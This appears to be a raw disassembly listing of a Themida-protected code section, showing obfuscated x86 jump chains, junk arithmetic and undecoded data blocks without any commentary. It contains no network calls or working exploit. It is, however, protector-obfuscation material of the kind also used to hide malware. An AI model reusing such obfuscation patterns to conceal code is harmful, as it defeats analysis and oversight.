		and	ebx, 5E2F03E2h
		shr	ebx, 1
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 20601BCh
		jmp	loc_566A97
; ---------------------------------------------------------------------------


loc_555D9F:				; CODE XREF: Themida_:0055B58Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_555DB4:				; CODE XREF: Themida_:0055A63Aj
		shl	esi, 6
		jmp	loc_55CD40
; ---------------------------------------------------------------------------
		dd 0A5F381h, 0DF292608h, 21C7815Bh, 8B4E3A1Eh, 0C4812414h
		dd 4, 0E9E78957h, 0FE1Eh, 4240483h, 5A2434FFh, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 815C243Ch, 4C2h, 31F6E900h
		dd 1C890000h, 24F8BB24h, 0C381233Bh, 0DCC4DB0Ch, 1C8BD801h
		dd 4C48324h, 8704C083h,	248B2404h, 4EC8124h, 89000000h
		dd 68E9241Ch, 87000048h, 895C2414h, 12BD242Ch, 812C1251h
		dd 5A2EDBF5h, 0FFC5814Dh, 0E9FFFFFFh, 0EB63h
; ---------------------------------------------------------------------------


loc_555E4C:				; CODE XREF: Themida_:0055F8AEj
		push	dword ptr [esp]
		jmp	loc_564332
; ---------------------------------------------------------------------------
		dd 33243C31h, 248B243Ch, 4896624h, 0E993B424h, 0FFFFC220h
		dd 8F04C483h, 665C2404h, 2404A30Fh, 0B874E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555E7A:				; CODE XREF: Themida_:00556978j
		pop	edx
		jmp	loc_566A8C
; ---------------------------------------------------------------------------
		dd 0AC476968h, 243C8B52h, 6804C483h, 105Fh, 52240489h
		dd 0FFE12EE9h, 394768FFh, 0C890000h, 53D98824h,	1C88CB88h
		dd 0C8B5B87h, 3C93E924h, 83580000h, 348702C6h, 0D3665C24h
		dd 0E99C2404h, 0FFFFBD4Bh, 28D0EE81h, 8CE90BCDh
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55507B
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0EB2DE9D7h, 0BDB4FFFFh, 11DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_555EE5:				; CODE XREF: Themida_:00559363j
		xor	esi, [esp]
		jmp	loc_5549C7
; ---------------------------------------------------------------------------


loc_555EED:				; CODE XREF: Themida_:00561DB2j
		xor	eax, edx
		pop	edx
		neg	eax
		or	eax, 3300BC7h
		sub	eax, 1B414E34h
		not	eax
		add	eax, 14F05EA6h
		mov	esi, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	dx, [esp]
		jmp	loc_55C3B8
; ---------------------------------------------------------------------------


loc_555F2D:				; CODE XREF: Themida_:0055D9C6j
		push	edx
		jmp	loc_55D37D
; ---------------------------------------------------------------------------
a2uSD		db '-(2ã$é\„',0
		dd 0D9F76600h, 66D9F766h, 0B2D3E981h, 59CE0166h, 56E02D66h
		dd 3F5B0566h, 66F02966h, 663F5B2Dh, 0E956E005h,	0FFFFDB4Eh
		dd 24148B5Bh, 9F38E9h
		db 0
; ---------------------------------------------------------------------------


loc_555F6D:				; CODE XREF: Themida_:00560D8Dj
		mov	ebx, esi
		jmp	loc_565E14
; ---------------------------------------------------------------------------
		dd 0C96866ACh, 1C896673h, 7B55124h, 0F683C580h,	3DED80DDh
		dd 0FFD639E9h, 3C8B54FFh, 3C8EE924h, 48F0000h, 44E95C24h
		dd 2C0000E3h, 66C20865h, 0EB4E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555FAA:				; CODE XREF: Themida_:00554936j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	eax
		mov	eax, 667C5A3Ch
		mov	ebp, 9983A5C8h
		jmp	loc_55DF4B
; ---------------------------------------------------------------------------
		db 31h
		dd 0F6815DEEh, 1E8E0BF7h, 348BF109h, 4C48324h, 1AB4C181h
		dd 0C801DE74h, 0B54EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555FF2:				; CODE XREF: Themida_:00560E7Dj
		pop	eax
		xor	bl, 0F9h
		sub	dl, bl
		jmp	loc_55CB45
; ---------------------------------------------------------------------------
		db 5Ch,	83h, 0ECh
		dd 24148904h, 0B050EEB2h, 58C228FAh, 28AEC380h,	73BEE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556016:				; CODE XREF: Themida_:005533B2j
		xor	edx, 7B7B19h
		mov	ebx, edx
		pop	edx
		and	edi, ebx
		pop	ebx
		xchg	edx, edi
		not	edx
		jmp	loc_559602
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1, 355BD801h, 5DF90E43h, 75C181h, 0C10141EFh, 75BE56h
		dd 0F12941EFh, 0FFE31EE9h, 81D1F7FFh, 0C0836F1h, 0C627E99Eh
		dd 15BF0000h, 577C057Fh, 243C8B5Ah, 4C481h, 0E2D10000h
		dd 0FAA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_556071:				; CODE XREF: Themida_:00556092j
		neg	ebx
		push	eax
		jmp	loc_565E9B
; ---------------------------------------------------------------------------


loc_556079:				; CODE XREF: Themida_:00558DCBj
		add	eax, esi
		jmp	loc_553BAE
; ---------------------------------------------------------------------------


loc_556080:				; CODE XREF: Themida_:00561BC6j
		add	esi, 693A756Fh
		sub	esi, ecx
		sub	esi, 693A756Fh
		pop	ecx
		push	esi
		pop	ebx
		pop	esi
		jmp	loc_556071
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 74E9DF01h, 52000075h, 3F45A8BAh, 0F245E935h, 1C87FFFFh
		dd 0C895C24h, 4B924h, 0CA010000h, 81240C8Bh, 4C4h, 4EC8100h
		dd 89000000h, 4682434h,	5E000000h, 1EBFE9h, 2C410400h
		dd 4D8009Bh, 86B7539Bh,	0E990E780h, 0FFFFF907h,	5105E1C1h
		dd 8F6EE9h, 24048700h, 0DDE0E9h, 4EC8300h, 0E9242489h
		dd 2530h, 4C481h, 0DEE90000h, 810000D1h, 4C5h, 242C8700h
		dd 0E924248Bh, 7E07h, 240C8B54h, 6804C483h, 35DFh, 51243C89h
		dd 0C181E189h, 4, 10149E9h, 58B86800h, 0C890000h, 34FF5424h
		dd 7EF6E924h, 8B660000h, 98E92404h, 52000002h, 39363CBAh
		dd 0FB5EE903h, 3489FFFFh, 81E68924h, 4C6h, 4C68300h, 2474FF56h
		dd 0E0E95E04h, 810000F7h, 0E449CDE9h, 0E1D15A1Ch, 386E981h
		dd 0CD01EE6Dh, 615EE9h,	240C3300h, 6624248Bh, 6866E9F7h
		dd 89663809h, 50662414h, 0B540E99Ch, 23B1FFFFh,	28F8C280h
		dd 0F8EA80CAh, 80DA2859h, 0C28023C2h, 0FAC280AEh, 5B2434FFh
		dd 6604C483h, 66294A68h, 0B4240489h, 57C28040h,	0EA80E228h
		dd 48B6657h, 4EC8124h, 0E9000000h, 0E1C5h, 3555E281h, 0CA817749h
		dd 1F073726h, 675AF281h, 0F281153Dh, 6AA078C5h,	0EA81D2F7h
		dd 991FB03Fh, 17E9D101h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556213:				; CODE XREF: Themida_:00563A31j
		and	dl, 9Fh
		xor	dl, 36h
		sub	bl, dl
		pop	edx
		pop	ecx
		add	bl, al
		jmp	loc_5517AC
; ---------------------------------------------------------------------------
		dd 0AE0EE40Dh, 0FC25480Ch, 2D265A42h, 27DF47A0h, 6105D0F7h
		dd 1FE2ABBh, 58042444h,	4C18159h, 53000000h, 0F026F2BBh
		dd 8E3C140h, 4307E3C1h,	94F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_556259:				; CODE XREF: Themida_:0055D5D4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55B66A
; ---------------------------------------------------------------------------
		dd 6684B652h, 0F6F18851h, 0F3A0E9D1h, 515C0000h, 55D1B966h
		dd 6E1C166h, 0FFFCB4E9h, 0ED815AFFh, 83FE0653h,	0FEB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_556295:				; CODE XREF: Themida_:00564FDBj
		btr	[esp], ax
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_5562A0:				; CODE XREF: Themida_:005607F7j
		mov	eax, 57B54422h
		dec	eax
		or	eax, 50D0229Dh
		shl	eax, 5
		push	edi
		mov	edi, 6D417BF2h
		shr	edi, 7
		push	edx
		mov	edx, 54DF571Ah
		and	edx, 7BC246E8h
		shr	edx, 1
		inc	edx
		neg	edx
		sub	edx, 0B9B27783h
		jmp	loc_556412
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB416h, 3B4CF681h, 0F7460AACh, 78EE81DEh, 29C64861h
		dd 0C1815EF1h, 0A11CA66Ah, 8359CB29h, 48904ECh,	68525124h
		dd 674E5A3Ch, 0E924148Bh, 0F4E2h, 6855575Bh, 9BE1DA0h
		dd 83242C8Bh, 0ED8104C4h, 0F2CCFF38h, 815DEF89h, 0AEC767EFh
		dd 5F781ADh, 1694257h, 243C8BFBh, 8104C483h, 4ECh, 1E86E900h
		dd 0E5C10000h, 8FED8105h, 0C19C699Eh, 8DE908E5h, 660000BBh
		dd 8124048Bh, 4ECh, 45CEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55635E:				; CODE XREF: Themida_:0055525Ej
		add	esp, 4
		jmp	loc_563E54
; ---------------------------------------------------------------------------


loc_556369:				; CODE XREF: Themida_:005582EFj
		pop	ecx
		jmp	loc_559323
; ---------------------------------------------------------------------------


loc_55636F:				; CODE XREF: Themida_:005534E3j
		add	ecx, edx
		add	ecx, 289C500Bh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_553DA8
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 0E9242C8Bh, 281Fh, 4537B768h, 68505B6Ch, 6BC0162Eh
		dd 4D713558h, 0C189AEBBh, 5BD92958h, 0C103E1C1h, 0F18103E9h
		dd 5BE54735h, 24143151h, 31241433h, 0CA872414h,	0FFEB3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5563C1:				; CODE XREF: Themida_:0055F672j
		mov	dl, 4Fh
		neg	dl
		inc	dl
		add	dl, 0EAh
		sub	bl, dl
		pop	edx
		add	bl, al
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		push	esi
		mov	esi, 674D4043h
		mov	ebx, 674D4047h
		sub	ebx, esi
		pop	esi
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55DA34
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 9CE95024h, 88FFFFF4h, 0CE8058C6h,	6E6C028h
		dd 0CE80D6F6h, 21A4E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556412:				; CODE XREF: Themida_:005562CEj
		or	edi, edx
		pop	edx
		add	edi, 5D0F6AC7h
		jmp	loc_552092
; ---------------------------------------------------------------------------
		dd 45AD000h, 66D800A0h,	28A0B652h, 148B66F0h, 2C48124h
		dd 51000000h, 0E9D4B652h, 0A7DEh, 0C202B850h, 0C231BF70h
		dd 5AD30158h, 0E9241C87h, 0E1B4h, 51A9EF80h, 0D5F6A0B5h
		dd 0E9D7F580h, 0FFFFE0E2h, 4EC835Eh, 8B243489h,	0C483241Ch
		dd 3C8B5E04h, 0D66EE924h, 0F681FFFFh, 565F2DFDh, 130368h
		dd 787FE900h, 0C2830000h, 24148704h, 2E2C5Ch, 5B2E04D8h
		dd 0C2DE9h, 59CA8800h, 0A0DCE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5564A6:				; CODE XREF: Themida_:0056669Dj
		push	ebp
		not	dword ptr [esp]
		jmp	loc_55848E
; ---------------------------------------------------------------------------
aZ4Swc		db '‡4$éw—',0
		dw 5700h
		dd 152FB951h, 0F0E92877h
		db 0F9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5564C3:				; CODE XREF: Themida_:005601C0j
		push	0CAEh
		mov	[esp], eax
		mov	eax, 5C00743h
		jmp	loc_5622D3
; ---------------------------------------------------------------------------


loc_5564D5:				; CODE XREF: Themida_:0055DF84j
		mov	[esp], esp
		jmp	loc_55A3B3
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 0E95C2414h, 0FFFFB202h
; ---------------------------------------------------------------------------


loc_5564EC:				; CODE XREF: Themida_:0055C948j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55C0B5
; ---------------------------------------------------------------------------
		db 89h
		dd 65E9243Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5564FF:				; CODE XREF: Themida_:0055AABFj
		mov	ebx, esp
		push	ecx
		mov	ecx, 3DB56646h
		neg	ecx
		sub	ecx, 3A863FAEh
		dec	ecx
		jmp	loc_559F26
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0E3h
		dd 0C11D060Dh, 6E6806E6h, 0E900000Ah, 2096h, 0E92434FFh
		dd 0FFFFCB39h, 2404895Ch, 405E089h, 0E9000000h,	0FFFFD522h
		dd 0D8EF815Ah, 295E975Dh, 0D8C781C7h, 585E975Dh, 5C243C87h
		dd 89240C89h, 4C181E1h,	0E9000000h, 0FFFFD573h
; ---------------------------------------------------------------------------


loc_556564:				; CODE XREF: Themida_:005634AFj
		movzx	eax, ax
		push	small 455Dh
		mov	[esp], ax
		jmp	loc_55A22B
; ---------------------------------------------------------------------------
		dd 0BD6FD705h, 36722D5Bh, 0C329B17Dh, 4FEB8158h, 0E9560351h
		dd 0FFFFCCFFh
; ---------------------------------------------------------------------------


loc_55658C:				; CODE XREF: Themida_:00565584j
		push	edi
		push	eax
		jmp	loc_55AB43
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 0E0E9FB01h, 5BFFFFF2h, 5214E9h
		db 0
; ---------------------------------------------------------------------------


loc_5565A5:				; CODE XREF: Themida_:0055B6BEj
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_552E4C
		push	edx
		jmp	loc_5595B6
; ---------------------------------------------------------------------------


loc_5565C8:				; CODE XREF: Themida_:00553F8Bj
		pop	esp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_560E82
; ---------------------------------------------------------------------------
		db 0BEh, 6, 7Ch
		dd 0A5E9F69Ah, 81FFFFB4h, 0EC0E43EFh, 0D10BE945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5565F2:				; CODE XREF: Themida_:005544E4j
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_5565F7:				; CODE XREF: Themida_:00554F83j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		add	ebx, 0FFFFFFFFh
		jmp	loc_562FEB
; ---------------------------------------------------------------------------
		db 68h,	1Bh, 1Eh
		dd 4890000h, 0FEAAB024h, 0D0D0F6C8h, 0C0C0FEE8h, 0ABE906E0h
		dd 31000002h, 0E9555EF7h, 4C72h, 0C1894B9h, 92E98171h
		dd 1137D9Ah, 0C78159CFh, 2BF3E8B0h, 0F5A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_556651:				; CODE XREF: Themida_:0055F8A1j
		mov	cl, bh
		push	eax
		mov	ah, cl
		push	ecx
		mov	cl, ah
		mov	dh, cl
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		pop	ebx
		push	dx
		neg	byte ptr [esp+1]
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_55AAFE
; ---------------------------------------------------------------------------


loc_556676:				; CODE XREF: Themida_:005666BDj
		add	ecx, edi
		push	edi
		mov	edi, 65C44E2Ah
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	5958h
		jmp	loc_56662F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18300h, 2474FF51h, 48F5904h,	0E9515C24h, 0F9CDh
		dd 8147D7F7h, 0CD0240F7h, 8FEF8108h, 89F72B9Ah,	0D1415FF9h
		dd 0F7E981E9h, 510C2959h, 0DD29595Bh, 63D4685Bh, 33E90000h
		dd 55FFFFE8h, 0FFFFFBBDh, 5DEE89FFh, 15EF531h, 0C3815DEBh
		dd 4, 8DC1E9h, 4B900h, 0CF890000h, 5FF82959h, 5C240487h
		dd 0D866E9h, 241C8B00h,	2C04C483h, 4C82870h, 5A665970h
		dd 2893C380h, 0B75352C3h, 7DCF8008h, 2EC81h, 89660000h
		dd 48B02404h, 8B66C728h, 0C4812404h, 2,	53F98851h, 0FA88CF88h
		dd 240C8B5Bh, 5B04C483h, 0E906EAC0h, 4969h, 4DBAE959h
		dd 0EE810000h, 4, 0E9243487h, 0B81Ah
; ---------------------------------------------------------------------------


loc_556764:				; CODE XREF: Themida_:00559F31j
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_561B2F
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4EC81h, 0C2E90000h, 0BAFFFFC3h, 4BB97088h, 777EA81h
		dd 0E2C11A5Ch, 13F28105h, 8100C502h, 73ED04C2h,	5AD3293Bh
		dd 32B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5567AD:				; CODE XREF: Themida_:005523AAj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		jmp	loc_553671
; ---------------------------------------------------------------------------
		db 81h
		dd 276DD3F6h, 81DEF779h, 1EEh, 92E95700h, 5C000075h, 0BF243C89h
		dd 6FFF4DBAh, 664C781h,	0B068B663h, 89000047h, 0FB89241Ch
		dd 3460E9h, 4C18300h, 5C240C87h, 3B7868h, 116CE900h, 68660000h
		dd 8B666546h, 0C483243Ch, 3913E902h, 0E95E0000h, 270Dh
		dd 4BB53h, 0DA010000h, 83241C8Bh, 0C28304C4h, 24148704h
		dd 0FFCBFCE9h, 7DF381FFh, 316BA195h, 241C8BDEh,	4C481h
		dd 81560000h, 3B1A2404h, 565950D5h, 0D53B1ABEh,	0C595E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556852:				; CODE XREF: Themida_:00558977j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_554EF6
; ---------------------------------------------------------------------------
		db 1, 0DAh, 5Bh
		dd 55ABC281h, 0F2812D82h, 7AA50BC5h, 4804EA81h,	0EA81538Eh
		dd 573C5EB3h, 78E9D731h, 8100008Fh, 32E62434h, 35587995h
		dd 799532E6h, 139FE9h
		db 0
; ---------------------------------------------------------------------------


loc_556891:				; CODE XREF: Themida_:005651E3j
		pop	edi
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_554091
; ---------------------------------------------------------------------------


loc_5568A3:				; CODE XREF: Themida_:0056063Ej
		xchg	ebp, [esp]
		jmp	loc_56078E
; ---------------------------------------------------------------------------


loc_5568AB:				; CODE XREF: Themida_:0055EF5Cj
		add	ch, ah
		mov	ax, [esp]
		add	esp, 2
		xor	bh, ch
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ch, bh
		pop	ebx
		jmp	loc_5579CC
; ---------------------------------------------------------------------------
aSs		db 'SéÍ',0Ah,0
		align 2
		dw 0A004h
a4kiSag		db '4KˆÇé£',0
		dd 2848B500h, 0E95B59E8h, 1C74h, 9D1C77FFh, 1CD25966h
		dd 0EFE99C24h, 5DFFFFADh, 0FFC831E9h, 4C781FFh,	53000000h
		dd 0FFF786E9h, 4C381FFh, 57000000h, 4BFh, 5FFB0100h, 0E9241C87h
		dd 0FFFFC4F4h, 0E92434FFh, 0AB36h, 4C481h, 0DF890000h
		dd 0FD015D5Bh, 0E389535Fh, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 0E9241C89h, 0FF55h
; ---------------------------------------------------------------------------


loc_556958:				; CODE XREF: Themida_:0056636Aj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55456E
; ---------------------------------------------------------------------------
		db 1
aSm		db '̎§',0
		align 2


loc_55696A:				; CODE XREF: Themida_:00555C8Bj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 5E5E256Fh
		or	ecx, edx
		jmp	loc_555E7A
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0E9565E04h, 7B8Dh, 2C8BE901h, 4C48324h, 4E981h, 0C870000h
		dd 24248B24h, 8B243C89h, 0EC812414h, 4,	0E9240C89h, 6915h
		dd 0E924048Bh, 2F26h
; ---------------------------------------------------------------------------


loc_5569B8:				; CODE XREF: Themida_:00553ECFj
		xchg	ebx, edx
		shr	edx, 3
		and	edx, 0D731938h
		xor	edx, 0C11112Ch
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	eax, ebx
		pop	ebx
		sub	ebp, eax
		jmp	loc_55C022
; ---------------------------------------------------------------------------


loc_5569DB:				; CODE XREF: Themida_:00563262j
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5575FE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 197A4670h, 772EE81h,	0F68123E0h, 43A7493Eh, 86C6814Eh
		dd 557623AAh, 0E889F589h, 2FE95E5Dh
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556A0F:				; CODE XREF: Themida_:00563E95j
		neg	ebp
		not	ebp
		neg	ebp
		add	ebp, 3C944486h
		jmp	loc_56261C
; ---------------------------------------------------------------------------
		dd 28C1B850h, 0A50539C3h, 0E92ADC51h, 0AB36h
; ---------------------------------------------------------------------------


loc_556A30:				; CODE XREF: Themida_:00563471j
		sub	eax, edi
		jmp	loc_55317D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0EAB3AD2h, 0C763250Dh, 0D28CE944h, 0C483FFFFh, 24348B04h
		dd 6D0FE9h, 0F3EB8100h,	115480Eh, 0F3C381C3h, 0E915480Eh
		dd 1AA2h, 4007E954h, 0E3BD0000h, 3126100Dh, 0E2815DEAh
		dd 1D26159h, 605CF281h,	0D00101C2h, 4C0835Ah, 5C240487h
		dd 750CE9h, 5AE98100h, 8125A346h, 0AE32E2C1h, 0E9D1F76Ah
		dd 75DAh
; ---------------------------------------------------------------------------


loc_556AA0:				; CODE XREF: Themida_:00563B8Cj
		push	edi
		jmp	loc_5614DA
; ---------------------------------------------------------------------------
		dw 0D3B8h
		dd 29039707h, 0C78158C7h, 75FC0DAAh, 0BB53CF01h, 61C1053Bh
		dd 941BE9h
		db 0
; ---------------------------------------------------------------------------


loc_556AC1:				; CODE XREF: Themida_:0056096Aj
		add	esp, 4
		push	edx
		push	ebx
		mov	ebx, 564001F6h
		jmp	loc_55C0BE
; ---------------------------------------------------------------------------


loc_556AD0:				; CODE XREF: Themida_:00554CC5j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_563D92
; ---------------------------------------------------------------------------
		dd 8124048Fh, 4ECh, 241C8900h, 5E50BE56h, 0D6F7024Ah, 4E2FBD55h
		dd 0EE21564Fh, 0EE81465Dh, 5405002Ch, 0FFBB4FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556B05:				; CODE XREF: Themida_:0055A765j
		pop	ebp
		shl	esi, 1
		jmp	loc_564A4E
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0EEh
		dd 4B4E11D6h, 5355685Fh, 84E90000h, 21000057h, 0C1815FF9h
		dd 24A634CDh, 94D4E9h, 22FDBD00h, 0EB0176C8h, 0CD8BE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556B3A:				; CODE XREF: Themida_:0055829Dj
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_55D1FA
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 0E9042474h, 0FFFFC497h, 5324248Bh, 6BA7E9h, 66D80000h
		dd 83241C8Bh, 0B50C02C4h, 0B3E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_556B69:				; CODE XREF: Themida_:005611AFj
		push	582Ch
		jmp	loc_55CA27
; ---------------------------------------------------------------------------
		db 0B3h
		dd 68DBF6CBh, 3C14h, 0E9241489h, 0FFFFB839h, 0A1E95258h
		dd 0AD0000F4h, 207F83h,	0CF8A840Fh, 5450FFFFh, 40558h
		dd 0E8830000h, 24043304h, 33240431h, 895C2404h,	0A3BF243Ch
		dd 8102FE1Fh, 7A7F17C6h, 81FE290Ch, 7A7F17EEh, 2434FF0Ch
		dd 0A729E95Fh, 0D1890000h, 0FFD6A4E9h, 0E9F800FFh, 502Bh
; ---------------------------------------------------------------------------


loc_556BD8:				; CODE XREF: Themida_:00552613j
		pop	ecx
		xor	ebx, 7FFFFDDBh
		jmp	loc_5535CD
; ---------------------------------------------------------------------------
		dd 0BA52E789h, 4DC933C6h, 2424EA81h, 0DAF74E99h, 0E3A1E9h
		dd 35C98100h, 815F9317h, 0D2F727C1h, 0FFCD31CCh, 0E9592434h
		dd 0FFFFCC6Bh, 6602C483h, 3BB652h, 2C5A66F0h, 0CAE952B8h
		dd 81000001h, 2E6FF6C7h, 81DF016Bh, 2E6FF6EFh, 0BD27E96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C36:				; CODE XREF: Themida_:00562CD7j
		mov	[esp], edx
		jmp	loc_55E81C
; ---------------------------------------------------------------------------
		dw 483h
		dd 0E9590424h, 0FFFFE04Bh, 5C241487h, 0E9242C89h, 0FFFFCC5Bh
		dd 0E9CE015Eh, 64AAh, 4246C81h,	39CE62CFh, 582434FFh, 3979E9h
		dd 4EC8100h, 89000000h,	55B9240Ch, 817BE025h, 4128EFF1h
		dd 0F6ABE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C86:				; CODE XREF: Themida_:00564CE6j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 289F452Bh
		add	ebx, 1E093086h
		inc	ebx
		add	ebx, 2AF3F14h
		jmp	loc_560908
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3C77h, 0B0A2E924h, 34FF0000h, 243C8B24h,	4C481h
		dd 0C4810000h, 4, 0EA81EAD1h, 1CF3637Ah, 0FFC28142h, 83FFFFFFh
		dd 48904ECh, 49D1B824h,	0E8C153DCh, 0F6E95607h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556CE7:				; CODE XREF: Themida_:00552094j
		pop	edi
		sub	eax, 839E84D6h
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_552D3E
; ---------------------------------------------------------------------------
aPscw		db 'Pé—W',0
		align 2


loc_556CFE:				; CODE XREF: Themida_:0055C8C5j
		add	edx, 93048F8h
		not	edx
		neg	edx
		or	edx, 270F3424h
		sub	edx, 370F7C2Ah
		jmp	loc_55331F
; ---------------------------------------------------------------------------
		dd offset dword_450050+2DC18h
		align 2
		dw 1C89h
		dd 89EB8924h, 2D5D5BDEh, 3136F88h, 58F9BD55h, 0F5810496h
		dd 17DB1B7Bh, 296ABB53h, 0D8293871h, 0E9E8015Bh, 3FDFh
		dd 31243433h, 34332434h, 2C815C24h, 9F5D4824h, 242C8132h
		dd 52916257h, 63240481h, 1568A33h, 2C812404h, 8A336324h
		dd 0A9B7E956h, 4BA0000h, 1000000h, 5A042454h, 0B201E9h
		dd 0C8685200h, 8900003Eh, 0C4E9240Ch
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_556D93:				; CODE XREF: Themida_:0056316Bj
		add	eax, 4
		add	eax, 4
		jmp	loc_55D665
; ---------------------------------------------------------------------------


loc_556DA2:				; CODE XREF: Themida_:00558968j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5544D8
; ---------------------------------------------------------------------------
		dd 24048B66h, 6F4B6851h, 0E9540000h, 0FFFFF9BDh, 2BF57h
		dd 12E90000h, 81000019h, 0F802BBEDh, 81DD0145h,	0F802BBC5h
		dd 0EC835B45h, 242C8904h, 42474FFh, 24048F5Dh, 9C52E9h
		dd 0E9ADB600h, 466Eh, 35E9D801h, 5A000034h, 0FFE462E9h
		dd 81D529FFh, 11715EDh,	31E95A08h, 540000D5h, 4EC835Eh
		dd 0E9240489h, 7100h, 8BC6814Eh, 567B5C18h, 0CA815E5Ah
		dd 50E052Ch, 8106EAC1h,	7819DBC2h, 0E9D18907h, 0FA2Bh
		dd 44E1685Dh, 1C890000h, 4BB24h, 0ED810000h, 5A1D45CFh
		dd 52D1B850h, 0E8C12B40h, 47EAE906h, 68660000h,	8966787Eh
		dd 28B42404h, 8B66E228h, 0C4812404h, 2,	72E9D030h, 1FFFFC2h
		dd 241C8BD8h, 564AE9h, 0FE98000h, 2059CF00h, 2434FFF8h
		dd 0E81CE9h
		db 0
; ---------------------------------------------------------------------------


loc_556E95:				; CODE XREF: Themida_:0055FD01j
		and	cl, 0A4h
		push	eax
		mov	ah, 64h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5601C5
; ---------------------------------------------------------------------------
		db 5Ah,	4Dh, 81h
		dd 113308EDh, 0EAA9E90Eh
		db 2 dup(0FFh)
